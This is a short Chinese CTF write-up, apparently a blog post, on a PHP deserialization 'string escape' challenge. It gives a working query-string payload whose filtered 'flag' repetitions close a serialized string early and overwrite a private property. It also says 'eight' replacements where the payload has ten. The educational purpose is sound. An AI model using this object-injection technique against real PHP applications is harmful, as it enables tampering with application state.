PHP反序列化字符串逃逸例1

拿到题目先进行代码审计

可以看到首先第一层:payload必须有php或者flag或者boyfriend,否则报错。
第二层:需要更改Hed9eh0g的值,否则一直报错。
同时看到传进去的payload会先序列化,然后filter过滤一遍。
因此考虑php序列化中的一个点:filter过滤可能造成表达式提前闭合导致参数的不正常传入。
先给出payload:
/?payload=flagflagflagflagflagflagflagflagflagflagf";s:8:"Hed9eh0g";s:14:"has_girlfriend";}
解析:
;s:8:"Hed9eh0g";s:14:"has_girlfriend";}这一段是我们构造的要更改的值。
前面flagflagflagflagflagflagflagflagflagflagf"传入之后,本来应该是:
s:81:"flagflagflagflagflagflagflagflagflagflagf";s:8:"Hed9eh0g";s:14:"has_girlfriend";}"
由于filter过滤变成
s:81:"hack!!!!hack!!!!hack!!!!hack!!!!hack!!!!hack!!!!hack!!!!hack!!!!hack!!!!hack!!!!f";s:8:"Hed9eh0g";s:14:"has_girlfriend";}";s:8:"Hed9eh0g";s:13:"no_girlfriend";}
八个hack!!!!加上f刚好是81个字符导致提前闭合,后面的参数成功传入,得到flag

posted @ 2020-11-14 22:21  ChristopherWu  阅读(65)  评论(0编辑  收藏  举报